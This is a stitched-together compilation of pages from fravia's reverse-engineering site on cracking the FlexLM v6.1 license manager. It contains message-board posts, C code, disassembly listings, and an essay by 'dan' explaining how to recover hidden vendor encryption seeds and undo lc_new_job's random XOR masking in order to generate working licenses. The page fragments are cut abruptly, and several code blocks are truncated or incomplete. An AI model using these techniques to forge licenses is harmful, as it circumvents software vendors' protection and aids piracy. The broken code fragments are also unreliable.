0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
/*
* String containing array used for marking ascii_filter or filter
*/
char
*cstring="Copyright_1988-1996_Globetrotter_Software_Inc_";
main()
{
char mystr[1024];
char encstr[1024];
char decstr[1024];
nb_crypt_init();
mystr[0] = *chptr;
/* Load in the test string. */
strcpy(mystr+1,"The quick brown fox jumps over the lazy dog. 1234567890\n");
printf ("orig : %s\n", mystr);
/*----------------------------------------------------------*
*
* nb_crypt_init()
*
* initialize pointers and variables. This is a consolidation
* of various initializations.
*----------------------------------------------------------*/
int nb_crypt_init()
{
myedata = 0;
chptr = 0;
curra = 0;
curoffset = 0;
if (curra == 0)
{
curra = tstbuf;
}
if (tstbuf[0] == '\0')
{
strcpy(tstbuf, initvals);
strcat(tstbuf, initvals);
}
if (chptr == 0)
{
chptr = cstring;
}
return(0);
}
/*----------------------------------------------------------*
*
* nb_encrypt
*----------------------------------------------------------*/
int nb_encrypt (char *instr, char *outstr)
{
asval_a = instr;
/* Determine if we were in filter mode before */
if (myedata != 1)
{ /* ascii_filter+0x78 */
if (myedata != 0)
{ /* ascii_filter+0x94 */
incr_currc();
}
myedata = 1;
}
outstr[0] = chptr[0];
/* step the firstchar pointer */
incr_currc();
/* Copy string to output; first char reserved for indicator */
strcpy(outstr+1, instr);
for (asval_b = outstr+1; *asval_b != '\0'; asval_b++)
{
/* Ignore low nonprintable chars */
if (*asval_b >= ' ')
{
/*
* Since the ascii range we are converting
* starts at 32, subtract 32 to have range
* start at 0
*/
asval_c = (*asval_b) - 32;
/*
* Use the encrypting table to find a corresponding
value
* and set the output char to that value
*/
*asval_b = curra[asval_c];
/*
* move the start of the encryption table
* to the new location ptr
*/
curra = curra+asval_c;
/* cycle around if getting close to the end of
the string */
if (curra > tstbuf+95)
{
curra = curra - 95;
}
/*
* For keeping track of the current location
* you can ignore this for this example.
*/
curoffset = curoffset + asval_c;
if (curoffset > 95)
{
curoffset = curoffset-95;
}
}
}
return(0);
}
/*----------------------------------------------------------*
*
* nb_decrypt
*----------------------------------------------------------*/
int nb_decrypt (char *instr, char *outstr)
{
char *asval_a;
char *asval_b;
int asval_c;
int tmpval;
int tmpval1;
asval_a = instr;
if (myedata != 1)
{ /* ascii_filter+0x78 */
if (myedata != 0)
{ /* ascii_filter+0x94 */
incr_currc();
}
myedata = 1;
}
outstr[0] = chptr[0];
incr_currc();
strcpy(outstr, instr+1);
for (asval_b = outstr; *asval_b != '\0'; asval_b++)
{
if (*asval_b >= ' ')
{
/* Determine offset index */
tmpval = *asval_b & 0xff;
encstr:
C(ln##v_lLaayw"*gg%yCC/r9@::4w\NN|f,,Ia@XXZT?uulyc9uwSMI.
decstr: CThe quick brown fox jumps over the lazy dog. 1234567890
Final Notes
This particular piece of reverse engineering isn't a crack as much as it demonstrates how a particular encryption
can be reverse engineered. Many keygens use some sort of trapdoor encryption where the algorithm is only meant
to go one way, and the authorization code is compared against the output of the algorithm. Some methods have
data hidden within the provided key, which is then used by the program. Being able to reverse encryption
algorithms enables reversers to extract "secret" data from authorization codes where secret data is encoded in the
provided authorization code.
I have avoided posting the full reversing of ls_filter.o because this essay is long enough as it is, and most reversers
are not interested in getting usage statistics from the license daemon. It is possible with reverse engineering to
build a program which can open the logfile and build an application that can extract complete information from
this file.
Ob Duh
I wont even bother explaining you that you should BUY this target program if you intend to use it for a longer
period than the allowed one. Should you want to STEAL this software instead, you don't need to crack its
protection scheme at all: you'll find it on most Warez sites, complete and already regged, farewell, don't come
back.
You are deep inside fravia's page of reverse engineering, choose your way out:
FlexLM
Tackling encryption
algorithms used by vendor
daemons
[cooperative reversers' work] [Essays]
I have decided to publish here an example of a "team work" (sort of) that has been taking place last week
on my meassageboard between some reversers that are -rightly- seen as the mightiest FlexLM-reversing
experts on this planet.
Essays
This important project was started in 1999. Part of the following essays are considered HISTORY of the
cracking scene. (Take note: I have not yet gathered all FlexLM essays in here, I intend to do it asap)
Reversing the report encryption algorithm for the flexlm license manager, 24 September 1999
There are quite a few essays written on flexlm. These essays should be read before reading this one. This
essay might help you if you are trying to get encryption seeds for a target that uses flex v6.1 and you
can't get them using the methods in previous essays. That was where I was before doing the things in this
essay. If I would have read this essay back then, it would have helped me. I have tried to show not only
what I found, but how I found it. The how is maybe less relavent to this subject. The how is nothing
special - these are common techniques. You probably could have found this stuff out on your own without
having to know my methods. But maybe you will find some technique I used helpful for your cracking in
general. I just tried to write something that I would have enjoyed reading.
You'r deep inside fravia's pages of reverse engineering, choose your way out!
homepage links anonymity +ORC students' essays academy database bots wars
antismut tools cocktails javascript wars search_forms mail_fravia
Is reverse engineering illegal?
Reversers involved
Dan ~ VoxQuietis ~ Pilgrim ~ Nolan Blender ~ Q
Dan to group (this is the email that started the whole thread)
FYI flexlm v6.1 and lc_new_job()
If you search the lmgr library in v6.1 you will see that
l_svk is not called anymore in lc_init or lc_checkout.
Instead, l_sg is called. As I stated in another message, l_sg
behaves differently when called in lc_init and lc_checkout.
This happens when the target calls lc_new_job instead of
lc_init. If you read the docs, lc_new_job provides enhanced
security over lc_init. This is a description of some of
what that security is.
call lc_new_job {
call ? (l_2bufg maybe) (sets up decryption vector)
call lc_init (l_sg flag not set yet) {
call l_sg {
call l_key
return old style seeds
}
}
set l_sg flag in job struct
}
...
call lc_checkout {
...
call l_sg {
flag set so call decryption vector (l_8indexes in lm_new.obj) {
generate random string by calling time()
store string in job structure
decrypt keys and xor with some of the random bytes
}
}
...
use seeds and random bytes to authenticate the license entry
compare authenticator to one in license entry
...
}
Note lc_new_job is wrapped around lc_init and always sets this l_sg flag.
Another thing to note is the alternate seed generator is not in the library
but in a separate object file lm_new.obj. If you read the documents about
lc_new_job, they make a point that you have to link lm_new.obj if you call
lc_new_job. This threw me off because I guess my target linker located the functions
in lm_new.obj far from the core of flexlm.
If you run across a target using this, I would sugest breaking on calls to l_sg.
The first call it will not go to the lm_new vector. Subsequent calls to l_sg will go to
lm_new vector. When l_sg returns from the vector it will have decoded the seeds
and xored them with a random 32-bit value. That value is stored in the job structure.
For my target, the random bytes were at offsets 0xb (msb) 0x8 0x13 and 0x9 (lsb) of the
job structure. Combine these 4 bytes into a 32-bit value to xor with the hidden
seeds that are in the vendorcode structure. You still need to call l_svk to get
vendorkey5 or get it from the first call to l_sg.
dan
VoxQuietis to group
Hi Dan,
My problem is that I both can't locate lm_new.obj file and I have some problems in
finding the point where the additional seed scrambling information stored /
applied to the encryption seeds.
Dan to group
VoxQuietis,
dan
Pilgrim to group
Yo dan, Vox!
Excellent work.
Are you going to post all this to fravia as a tutorial when it's finished?
I'm busy looking at FlexLm 6.1 too.
Seems globetrotter are learning from fravias pages ;-)
With regards finding the routines in the target, I used the FLIRT facility in IDA.
Make your own sig file from the static library, lmgras.lib ( this has a reference to l_sg )
Dissasemble your target, run the signature and you've got all the functions labelled for you.
pilgrim
Dan to group
pilgrim,
With regards to IDA. I have never used it. This FLIRT feature
would have helped a lot. I will have to investigate. I used a
more primitive approach which was probably unnecessary but I learned
a lot in the process.
dan
It seems that if you can locate the real lc_init call which is located in
lc_new_job, then you should be able to locate
the required data.
The futzing about that is done
in lm_new appears to be done in order to
prevent wholesale scanning of the executables
in order to extract keys.
Dan to group
nb,
After reading your reply, I looked at the lm_new routine some more.
If you pass as the first parameter 0, this routine will return the
uncovered seeds without xoring them with random data. However if
the first parameter is job, the routine will return with the
seeds xored with random data. The random data will be stored
in the job at offsets +0xb +0x8 +0x13 and +0x9. Before this
call, those offsets are zero.
Your client must be passing zero as the first parameter to this routine -
if not then something is wrong.
I have not researched all the calls in the api. But looking at it I don't
see lp_checkout. I see lc_checkout. I would assume people developing would
not use lp_checkout. I don't think my target did.
dan
Q to group
It's really much easier than all that. lc_init still gets called even if lc_new_job is present. And, the call to
lc_init will have the real vendorcodes. At that point, just use l_svk as always. All lc_new_job does is
keep the vendorcodes from showing up as global data.
VoxQuietis to group
Dear Q,
Best regards
VoxQuietis
Dan to group
http://www.instinct.org/fravia/revework.htm (9 of 26) [2/7/2001 3:29:14 PM]
revework.htm: The flexlm challenge and cooperative reversers' work
Q, Vox,
dan
VoxQuietis to group
Dear Dan,
first of all my compliments to Your great work on Flexlm v6.1. I followed the discussion
between You and Nolan from the beginning, having a certain feeling, that You were working
in a direction, that would help me in my actual license generation problem. I'm now
working on that for a couple of weeks, and first I thought, there were some troubles with
some attributes I didn't set correctly while using lc_crypt / lmcrypt.
But then I suddenly realized, that I have been misleaded by the randomization trick
of Globetrotter, that You first described.
Once I read the Flexlm v6.0 documentation very carefully, yet I didn't do that with the
v6.1. Indeed I downloaded the v6.1 SDK just a couple of days ago, being convinced that
v6.0 would be sufficient to generate working licenses (I think that still, but I am no
longer fully convinced on that).
According Your remarks I found the random bytes in the job memory. I do agree to your findings,
i.e. bytes 0xb:0x8:0x13:0x9 form a word, which leads to constand values when Xored on to the
randomized seeds.
Yet I am still failing in generating a working license for my target.
Having no other possibility to understand what's going on I might be forced to build an
app using the Flexlm SDK, in order to understand the relation between the randomized seeds and
real seeds.
I would also like to stress, that my target delivers one set of seeds for the first
lc_init call and a different set after the derandomizing. No need to say that apparently
both seeds aren't the correct ones. (When
setting the first parameter to zero I get the
seeds of the first lc_init call, the one
I figured out weeks ago)
I will continue to examine my target. It might be possible to build a demo app with the keys
and seeds I know. And finally it might be necessary to code a brute force attack,
which is feasible, since there are 32 unknown bits, only. I will post (possible) results on
this messageboard.
;head of function
:004D9FB3 55 push ebp
...
compute and store lenght of vendor string
...
:004D9FCF 8B4508 mov eax, dword ptr [ebp+08] ; lm_job memory space
...
:004D9FE6 85C0 test eax, eax
:004D9FE8 0F8485010000 je 004DA173 ; jump to clear seed code regeneration
|:004DA1B1(C)
|
:004DA185 8BC7 mov eax, edi
:004DA187 99 cdq
:004DA188 F77DF8 idiv [ebp-08] ; modulo operations (described by Dan)
...
now follows the regneration of the seeds (with or without randomization)
Bye then
VoxQuietis
Dan to group
group,
Try this:
use the v6 blenderd lm_code.h.
delete lm_new.obj
make lm_new.obj
now look at lm_new.c. Ok you might have done this already.
Now edit lm_code.h.
Change vkeys to "invalid" value. I changed vk1 lsb from 4 to 5.
Now delete lm_new.obj and make lm_new.obj. Now edit lm_new.c.
What does this show? lmrand2 is looking at the keys for more than
just to obfuscate them. In this case, it probably failed a checksum
so generated this code. However, I also compared the output of lmrand2
with the blenderd keys to output of lmrand using my targets keys and
there are some differences not due to "randomization".
It looks like the blenderd keys are "randomizing" the data but I haven't
compiled lm_new.c from this output.
dan
Dan to group
VoxQuietis,
However, this does not show the exact magic that the target
is using, which is necessary as these functions are a
"matched pair".
Also, part of the confusion is that there are two l_n36_buf (forgot
exact name) pointers.
dan
#include
/*
* union for testing what we get back
*/
union
{
char charbuf[1024];
int intbuf[256];
} myunion;
char myvendorname[1024];
/*
* structure to demonstrate use if valid job passed in.
*/
struct s_tmp
{
int i;
char *cp;
unsigned char a[12];
} myjob;
/*
* Clear buffer so we know that changes are due to lm_new
*/
/*
* for this exercise, myjob really doesn't matter.
*/
myjob.i = 66;
/*
* PART 1:
* Null call initializes values inside lm_new
*/
/*
/*
* Test with 0 job for extracting key only
*/
printf ("\n");
for (i = 0; i < 10; i++)
{
printf ("after intbuf[%d] = %08x\n", i, myunion.intbuf[i]);
}
/*
* PART 2:
* Simulation of what might happen in real
* program for key recovery.
*/
/*
* This one retrieves the secret keys
*/
retcode = (*l_n36_buf)(myvendorname, myunion.charbuf);
if (retcode != 1)
{
printf ("Problem with second call to lm_new.\n");
printf ("retcode = %d\n", retcode);
return;
}
/*
* Now call with an actual job, so highly secret data
* is stored with the job.
*/
(*l_n36_buff)(&myjob, myvendorname, myunion.charbuf);
printf ("\n");
for (i = 0; i < 10; i++)
{
printf ("(with job) after intbuf[%d] = %08x\n", i, myunion.intbuf[i]);
}
/*
* extract the xoring value for the job now.
*/
| ((long)(myjob.a[0]) << 8)
| ((long)(myjob.a[1]) << 16)
| ((long)(myjob.a[4]) << 24);
printf ("Magic xor value: %08x\n", magic_xor_value);
/*
* now fix the values in the array.
*/
myunion.intbuf[0] = myunion.intbuf[0] ^ magic_xor_value;
myunion.intbuf[1] = myunion.intbuf[1] ^ magic_xor_value;
return;
}
I've only tested this on a unix machine, if it doesn't work on a Windows machine,
tell me.
I also looked at the routines in lm_new, and you can strip a lot of useless
junk out of that file. After all the goo was removed, this is all that
remained. I linked against this code, and everything seemed to work as
before. Perhaps this was to discourage object debuggers from figuring out
what was going on.
#include "lmclient.h"
#include
#include
/*
* Only variables that seem to do anything.
*/
static
void
l_ctr_11(job, vendor_id, key)
LM_HANDLE *job;
char *vendor_id;
VENDORCODE *key;
{
unsigned long *keys;
unsigned long signature;
#define SIGSIZE 4
char sig[SIGSIZE];
unsigned long x = 0x87822e5a;
int i = SIGSIZE-1;
int len = strlen(vendor_id);
long ret = 0;
struct s_tmp { int i; char *cp; unsigned char a[12]; } *t, t2;
}
key->data[0] ^=
(((((long)sig[0] << 3)|
((long)sig[1] << 1) |
((long)sig[2] << 0) |
((long)sig[3] << 2))
^ ((long)(t->a[5]) << 0)
^ ((long)(t->a[0]) << 8)
^x
^ ((long)(t->a[1]) << 16)
^ ((long)(t->a[4]) << 24)
^ key->keys[1]
^ key->keys[0]) & 0xffffffff) ;
key->data[1] ^=
(((((long)sig[0] << 3)|
((long)sig[1] << 1) |
((long)sig[2] << 0) |
((long)sig[3] << 2))
^ ((long)(t->a[5]) << 0)
^ ((long)(t->a[0]) << 8)
^x
^ ((long)(t->a[1]) << 16)
^ ((long)(t->a[4]) << 24)
^ key->keys[1]
^ key->keys[0]) & 0xffffffff);
t->cp -= 0;
}
static
int
l_4ctr(buf, v)
char *buf;
VENDORCODE *v;
{
static int l_8var;
extern void (*l_n36_buff)();
if (!buf)
{
l_8var = 0;
return 0;
}
if (l_8var >= 1) return 0;
if (!l_n36_buff) l_n36_buff = l_ctr_11;
memset(v, 0, sizeof(VENDORCODE));
v->keys[1] += (l_220var << 24);
v->data[1] += (l_ctr_189 << 0);
v->behavior_ver[3] = l_254buf;
v->data[0] += (l_reg_183 << 16);
v->keys[2] += (l_bufg_227 << 24);
v->behavior_ver[2] = l_counter_253;
buf[1] = l_buf_149;
v->type = (short)(l_counter_237 & 0xffff) ;
v->keys[0] += (l_index_201 << 0);
v->data[0] += (l_registers_177 << 0);
v->behavior_ver[4] = l_buff_257;
v->keys[3] += (l_228counter << 0);
v->keys[2] += (l_counter_225 << 16);
v->keys[0] += (l_func_205 << 24);
buf[4] = l_ctr_159;
v->data[0] += (l_186indexes << 24);
v->keys[2] += (l_224buff << 8);
v->flexlm_version = (short)(l_var_241 & 0xffff) ;
v->keys[1] += (l_212index << 8);
v->data[1] += (l_192index << 8);
v->flexlm_patch[0] = l_248buf;
v->keys[3] += (l_232var << 8);
v->data[0] += (l_buf_179 << 8);
buf[7] = l_166var;
v->keys[0] += (l_202index << 8);
buf[3] = l_buf_155;
buf[8] = l_buff_169;
v->keys[1] += (l_216registers << 16);
v->keys[1] += (l_208func << 0);
v->data[1] += (l_196bufg << 16);
buf[9] = l_172ctr;
v->keys[0] += (l_buff_203 << 16);
v->data[1] += (l_198indexes << 24);
v->keys[3] += (l_236ctr << 24);
buf[5] = l_func_161;
v->keys[2] += (l_idx_221 << 0);
v->behavior_ver[1] = l_buf_251;
v->behavior_ver[0] = l_counter_249;
buf[2] = l_func_153;
v->keys[3] += (l_234reg << 16);
buf[0] = l_146ctr;
buf[10] = l_var_173;
v->flexlm_revision = (short)(l_idx_245 & 0xffff) ;
buf[6] = l_ctr_163;
++l_8var;
return 1;
}
int (*l_n36_buf)() = l_4ctr;
Dan to group
nb,
Your routine seems to call the "decode routine" first with a null.
My target does not. It calls the decode routine like this:
lc_new_job {
char name[50];
VENDORCODE vx;
memset(&vx, 0, sizeof(VENDORCODE));
ret= l_counters_1(name, &vx); <- first call to decode routine
ret= l_counters_1(0,0); <- second call to decode routine
call lc_init
set alt encryption flag
return
}
LM_HANDLE job;
memset(&job, 0, sizeof(LM_HANDLE));
if (random call) l_8reg(&job, name, &vx); <- gives clear seeds xor random
else l_8reg((int) 0, name, &vx); <- gives clear seeds
There are exactly 3 calls to lm_new related routines - the two in lc_new_job
to the decode routine. And the one under l_sg to the decrypt routine.
There is no need at any point to use vk5.
dan
later,
-NB.
You'r deep inside fravia's pages of reverse engineering, choose your way out!
homepage links anonymity +ORC students' essays academy database bots wars
antismut tools cocktails javascript wars search_forms mail_fravia
Is reverse engineering illegal?
Flexlm v6.1
lc_new_job() flexlm
"lc_init() should only be used with license generators, and should not normally be used in applications shipped to clients. Use
lc_new_job() instead, as it offers enhanced security." -- flexlm reference manual - v6.1
Flexlm v6.1
lc_new_job()
Written by dan
Introduction
There are now quite a few essays written on flexlm. These essays should be read
before
reading this one. This essay might help you if you are trying to get encryption
seeds for
a target that uses flex v6.1 and you can't get them using the methods in previous
essays.
That was where I was before doing the things in this essay. If I would have read
this
essay back then, it would have helped me.
I have tried to show not only what I found, but how I found it. The how is maybe
less relavent to this subject. The how is nothing special - these are common
techniques.
You probably could have found this stuff out on your own without having to know my
methods.
But maybe you will find some technique I used helpful for your cracking in general.
I just tried to write something that I would have enjoyed reading.
Tools required
http://www.instinct.org/fravia/dan_fle5.htm (1 of 19) [2/7/2001 3:29:26 PM]
dan_fle5.htm: Flexlm v6.1 new feature lc_new_job()
tools I used:
softice
wdasm
lib (Micro$oft - sorry!)
dumpbin (Micro$oft - sorry!)
egrep (pc users - search cigwin)
perl (cigwin again)
Target's URL/FTP
Its hard to say what the target is - is it the "target" or is it flexlm?
Let's just say:
A program that integrates flexlm v6.1 and calls lc_new_job()
Refer to past essays - those targets may have been updated.
Program History
Flexlm has been broken before. They added enhanced security.
Essay
**************************************************************
Part 1 learning curve and confusion:
**************************************************************
Initial interest in flexlm for me started a week or so ago. I read some essays,
found
some targets and applied the essays techniques to these targets. - nothing special.
Then I ran into a problem:
I had gotten the necessary "keys and seeds" needed to generate a license for a
target (target A). There was a new version of target A (target B).
I could not get the "keys and seeds" for target B using the same techniques for
target A.
So this sucked! I queried for answers and got some hints but no one said
"dude you need to xor your answer with 0xff". I guessed I would have to either wait
for an answer or investigate myself ...
About this time I replaced the target B seeds and keys with target A's.
There was no logic in doing this - I was just flailing for answers.
I generated a license for target B using target A's seeds and keys.
This worked!! (after upgrading the "version" on the license entry)
This was confusing to me. Target A and B definitly had different vendorcode
structures - so how could the old target A info work on target B?
This was confusing also. All through this process I was thinking that
I am not really understanding the license generation process and what
the SEEDS and VENDORKEYS are really used for.
**************************************************************
Part 2 a little less confusion but still - confusion:
**************************************************************
After reading more essays and some discussions with Nolan Blender, I started
to realize that if you got the right license i.e. no error -8 that means
you have the right "ENCRYPTION_SEEDS". The VENDORKEYS have nothing to do
with this.
So what this means is that it is perfectly valid to have the same ENCRYPTION_SEEDS
with different VENDORKEYS - which is what target A and target B had.
Why? Because I KNEW the encryption seeds and KNEW vk5 and KNEW vc.data and
this was TRUE: es1 != vc.data[0]^vk5 and es2 != vc.data[1]^vk5.
It should be noted at this point that having the right ENCRYPTION_SEEDS was
a pure gift. This is rare that you have the answer before knowing where
to find it. Another style of essay might not mention this fact that I
had the right answer from the start. This makes this kind of attack 100%
easier and should be considered less of a crack than someone who didn't
have the answer. It is an important point.
Another implication that the seeds worked is that flexlm itself was
being configured correctly when I generated the license. This gave
me confidence that my target was not using some of the flex-able features
of flexlm. I admit I don't quite understand this - it has something
to do with lc_set_attr calls though.
You on the ohter hand will probably not have the right encryption
seeds (which might be why you're reading this junk). That's ok -
follow the steps of the previous essays, which is what I did in the
first place. You should have generated a license file with your features,
however when ran you will get a -8 error from flexlm (bad seeds). You
need this to be able to have the right code execute.
**************************************************************
Part 3 test some things out: Program flow
**************************************************************
I wanted to see the flow of the program. Which routines were called
and in what order. I put breaks on lc_init, lc_checkout, and l_sg (described below),
then ran the program, watching the order things were called. Also observing return
values. The API documents helped to interpret what to expect for return values.
The way I originally found these routines in my target was partly by comparing
the "signature" of the .dll code to my target.
call lc_init {
...
:00440008 50 push eax pram
:00440009 56 push esi pram
:0044000A E8BD1E0000 call 00441ECC call
l_sg(job,code,??)
:0044000F 83C40C add esp, 0000000C restore
:00440012 817DCC21436587 cmp dword ptr [ebp-34], 87654321 compare seed to
default
:00440019 7409 je 00440024
:0044001B 817DD078563412 cmp dword ptr [ebp-30], 12345678 compare other
seed
:00440022 7527 jne 0044004B
...
}
...
call lc_checkout [
...
...
call l_sg
...
...
if(bad seeds) return -8
else return 0
}
Note that from reading other essays, I knew that the check for default values was
a good place to look for seeds. I knew lc_checkout was another important location
for getting "features".
At this point, I decided to trace through the l_sg call inside lc_init. I printed
out a copy of it and traced through it, writing notes on the copy. I should note
at this point I was comparing the wdasm output of the program to my "annotated
object dissassembly" (see appendix). The first part of l_sg was:
l_sg(???,name,vendorcode):
:00441ECC 55 push ebp - after this push, 8
extra bytes on stack before params
:00441ECD 8B4C2408 mov ecx, dword ptr [esp+08] - this is first param
to l_sg
:00441ED1 8BEC mov ebp, esp
:00441ED3 83EC04 sub esp, 00000004 - we're going to use 4
bytes in this routine
:00441ED6 8B4150 mov eax, dword ptr [ecx+50] - ok first param is a
ptr.
...
:00441EDC F6804101000080 test byte ptr [eax+00000141], 80 - ok another
derefrence, confusing!!!
:00441EE3 741E je 00441F03 - test failed
here on my trace
:00441EE5 833D74024F0000 cmp dword ptr [004F0274], 00000000 - this is a call
vector
:00441EEC 7415 je 00441F03 - vector zero so
don't call it
:00441EEE FF7510 push [ebp+10] - set up params
:00441EF1 FF750C push [ebp+0C]
:00441EF4 51 push ecx
:00441EF5 FF1574024F00 call dword ptr [004F0274] - vector call
!!!
:00441EFB 83C40C add esp, 0000000C
:00441EFE E9A5000000 jmp 00441FA8
:00441F03 8B7D10 mov edi, dword ptr [ebp+10] - jump here edi =
vendorcode
:00441F06 8B750C mov esi, dword ptr [ebp+0C] - this is vendor name
:00441F09 8D470C lea eax, dword ptr [edi+0C] - =
vendorcode+0c=vendorkeys
:00441F0C 50 push eax
:00441F0D 56 push esi
:00441F0E E83FAD0000 call 0044CC52 - this is l_key(name, keys)
...
...
Now, look at the first tests. It is testing a flag (which I failed), testing
a vector for 0 and if not 0 will call the vector stored there. To me a call to
a vector is suspect. Especially after that convoluted test! I was glad that the
program did not go to that vector. It looked like something scary was going to be
there. I decided to ignore this part of l_sg for a while.
I wanted to get more comfortable with l_sg. I traced through the remaining part
and made notes on my printout. First I noted the parameters passed to it.
I wasn't sure what the first one was but the other two were obvious.
Then I wanted to know what the outputs were. This code was generated from
C so one output could be eax, but the calling routines would trash eax. It
basically came down to:
There are calls by value (value on stack) and calls by reference (pointer).
This was a call by reference that modified the vendorcode that was
passed to it. However, the values placed here were the same "wrong"
seeds that I had gotten on my initial attempt to crack this target.
After some more re-reading of essays, I realized that this is the "old style"
of recovering the seeds - by xoring the vc.data with vendorcode5. By
doing this I learned a lot about how the older versions of flexlm worked.
But if you recall, I already knew these were the wrong seeds.
I pretty much new that this is what l_sg would return because I had originally
bpx'ed right after that call. This was because of previous essays. The only
thing that I learned was that there was some funny flag/vector stuff going
on in l_sg.
**************************************************************
Part 4 test some things out: Data Flow
**************************************************************
Maybe the seeds were hidden somewhere else, or maybe the vendorcode.data
still had something to do with the seeds. I knew one way to
find out if vendorcode.data was still relavent: Using a valid license,
poke bad values into vendorcode.data and see if the program fails or not.
If vendorcode.data was not really used, the program would not fail.
If vendorcode.data was used the program would fail.
It failed.
**************************************************************
Part 5 Program Flow again: Good Guy/Bad Guy
**************************************************************
By tracing "good" and "bad" execution of good_lic_key, I could see the following:
good_lic_key {
...
l_sg()
extract_date()
l_ckout_crypt()
test eax from l_ckout_crypt()
if eax zero BAD GUY!!! jump to -8 !!!
good guy code
...
}
Now if you have been following this, I already knew l_sg had some suspect code.
But the bad guy test came from l_ckout_crypt(). What should I persue next - l_sg?
- l_ckout_crypt ? I decided to trace l_ckout crypt.
Wrong decision.
What I found out from good guy/bad guy execution of l_ckout_crypt is that it forms
a string of data based in part on a license file entry. Then, it forms an
authenticator
based on that string of data. Then it compares this authenticator to the one in
the license file. Bad guy will fail this compare. So I could continue into this
function to find the seeds - they have to be there somewhere. I decided to abandon
this. It might have been around the corner but I felt that the l_sg should be
followed
some more.
***************************************************************
Ok, back to l_sg. I bpx'ed lc_init, lc_checkout, and l_sg. I knew that it would be
called in both routines, but I wanted to see it when it got into lc_checkout.
This time l_sg took the jump to the vector!!! I should have known.
It would have saved me a lot of time to just break on this jump in the first place!!!
If you think about this, what function would gronk time() a bunch
of times? It will not give you the same results any time ran. It would give
you RANDOM values.
At this point things were making sense. The explanation for seeing random data in
vc.data now was clear - the time() function was randomizing vc.data.
As I traced through this function, I could see there were three main sections.
1. create random data in dword offsets +4 +8 +c +10 of job structure.
2. crunch vendor name into a 4 byte value.
3. process vendorcode.data using vendorkey1 vendorkey2,
a constant, random data, and value from 2
At some point I stopped tracing and reset the program, breaking after generation of
the random data. I zeroed out the random data and set a break at the end of the
routine. Pressed ctrl+d and there they were - the unencrypted correct seeds that
I had gotten originally from target A!!
Ok. Now you can see that es1 != vc.d[0]^vk5. This was the answer. The seeds
had been hidden by a different function.
Further study of this routine shows that if the first parameter passed
to it is 0 instead of a pointer to job, it will use 0 for random data and
therefore will return the correct seeds.
Since the random bytes are stored in the job, the real seeds can be
used without ever seeing their true values in the cpu or memory as long
as you have the vendorcode and job structures to work with.
***************************************************************
Part 7 Tracing flags
***************************************************************
This was pretty much a done deal. I could get the seeds out of this target.
A question was lingering. The l_sg checks a flag to see if it should
jump to the "alternate" seed decrypter. Called in lc_init, this flag is clear.
Called in good_lic_key, this flag was set. So somewhere this flag was
being set. Time to bpm.
I set a bpm on this byte. I found what was setting it. The code was something
like:
...
:00444694 E8A7B3FFFF call 0043FA40 <-call lc_init
:00444699 83C410 add esp, 00000010
:0044469C 8B0E mov ecx, dword ptr [esi] <- ecx = *job
:0044469E 8B5150 mov edx, dword ptr [ecx+50] <- ok this is
familiar (see l_sg)
:004446A1 5E pop esi
:004446A2 808A4101000080 or byte ptr [edx+00000141], 80 <-set flag!!!
:004446A9 8BE5 mov esp, ebp
:004446AB 5D pop ebp
:004446AC C3 ret
Now let me digress. At this point I knew that this flag was going to be at
the same address every time I ran the program. This makes the bpm that much
easier. This implies that this variable is not dynamically declared. Or maybe
it is dynamically declared but the process is deterministic. I don't know enough
to say. But I do know that having this flag at the same location for each run
is a great help. anyway...
Well there it was, the same screwey dereferencing and the setting of the flag.
Right after the call to lc_init. That made sense. Thats why l_sg behaved one
way in lc_init and another way in lc_checkout. This was a gift having the flag
set right after the call to lc_init. It implied that whatever this routine was,
when called it set in motion the alternate seed decryption routine. This routine
was pretty small. I searched for it in the library (by searching for references
to lc_init, then examining these object files - see appendix). This routine turned
out
to be lc_new_job(). I then found out who was calling lc_new_job. The calls at that
level looked like:
lc_new_job()
lc_set_attr(0x38,"license file") <- set up where licence file is
lc_checkout(feature a...)
...
lc_checkout(feature b...)
...
This code must have been part of what flexlm would call the "client code".
I was at the top of the API chain. This code has vendor specific stuff in
it whereas previous code was flexlm generic. This was good to know.
After finding this I bpx'ed at lc_new_job, lc_init, l_sg, lc_checkout, the "real"
l_sg and ran the program. I verified the program flow was how I thought it should
be.
All along I had no idea where the calls were coming from. I thought lc_init
was the "init" routine called by the client. Now I knew that there was a level
up. And there was a high probability this was the top level.
***************************************************************
Part 8 the feature lc_new_job
***************************************************************
This brings me to the title of this essay - the feature lc_new_job. Its pretty
late in the essay to be finally discussing the title subject. But that's how
I found it. There was no magic revelation that I should look for lc_new_job.
I had to trace the program/data flow from an arbitrary starting point.
They made a point that you have to link with lm_new.obj. If you don't you
will get a linker error for l_36_buf. (I already knew l_36_buf was the name
of the l_sg "alternate seed" vector by the way). Time to look at lm_new.obj.
***************************************************************
Part 9 lm_new.c
***************************************************************
What this is saying is that lm_new.obj doesn't come with the distribution -
you make it from lm_new.c. Another thing this is saying is that lm_new.c
doesn't come with the distribution - you GENERATE it. Time to look at
lm_new.c.
This module has two functions. Both functions are related to lc_new_job.
One function is called directly by lc_new_job. This function "unpackages"
the vendorcode and vendor name. The other function is the "alternate seed"
decrypter and undoes the pre-encryption done on the seeds to form vc.data.
The decrypter also conditionally masks the decrypted seeds with a random
value and stores that mask in the job structure so the seeds can be recovered
later.
The "unpackager" was one of the remaining questions I had. That is, how
was the original vendorcode stored in the executable? Now I could see
that it was obfuscated inside a function.
lc_new_job {
call lm_new.unpackage(vname,&vc) (unpackage vendorcode,vendor name)
call lm_new.unpackage(0,0) (not sure why this call 0,0 )
call lc_init {
...
call l_sg (alt seed flag not set - return old style vc.d^vk5)
compare seeds to default 12345678 and 87654321
...
}
set alt seed flag
}
...
lc_checkout {
...
good_lic_key {
...
l_sg {
alt seed flag set so,
lm_new.decrypt(job,name,vc) (decrypt and RANDOMIZE!!)
}
extract_date
l_ckout_crypt / -8 test
...
}
...
}
Now back to lm_new.c. Another thing I noticed was that the "dword const" used
in its decryption routine was not the same as the dword const used
by my target. Refer back to part 6 for what the dword const is.
This was maybe the most important observation made about lm_new.c. I
decided to re-make lm_new.c. When I did, I got yet another different
dword const. Not only that, other things were different about lm_new.c
each time I generated it.
Personalization is nothing new but is usually used to single out and verify
a specific entity. For example, a private key is personalized. If a person signs
something with a private key, you know it came from them. If private keys were
not personalized, anyone could sign for anyone else. But then they wouldn't be
"private" keys now would they? They would be the same value for everyone.
***************************************************************
Part 10 The source code generator
***************************************************************
I would like to illustrate what I think the source code generator does.
The source code generator is everything used to make lm_new.c. The
final source code generator executable is lmrand2. (I'm not sure how
this ASCII art will look in your browser!!)
______________ ______________________________
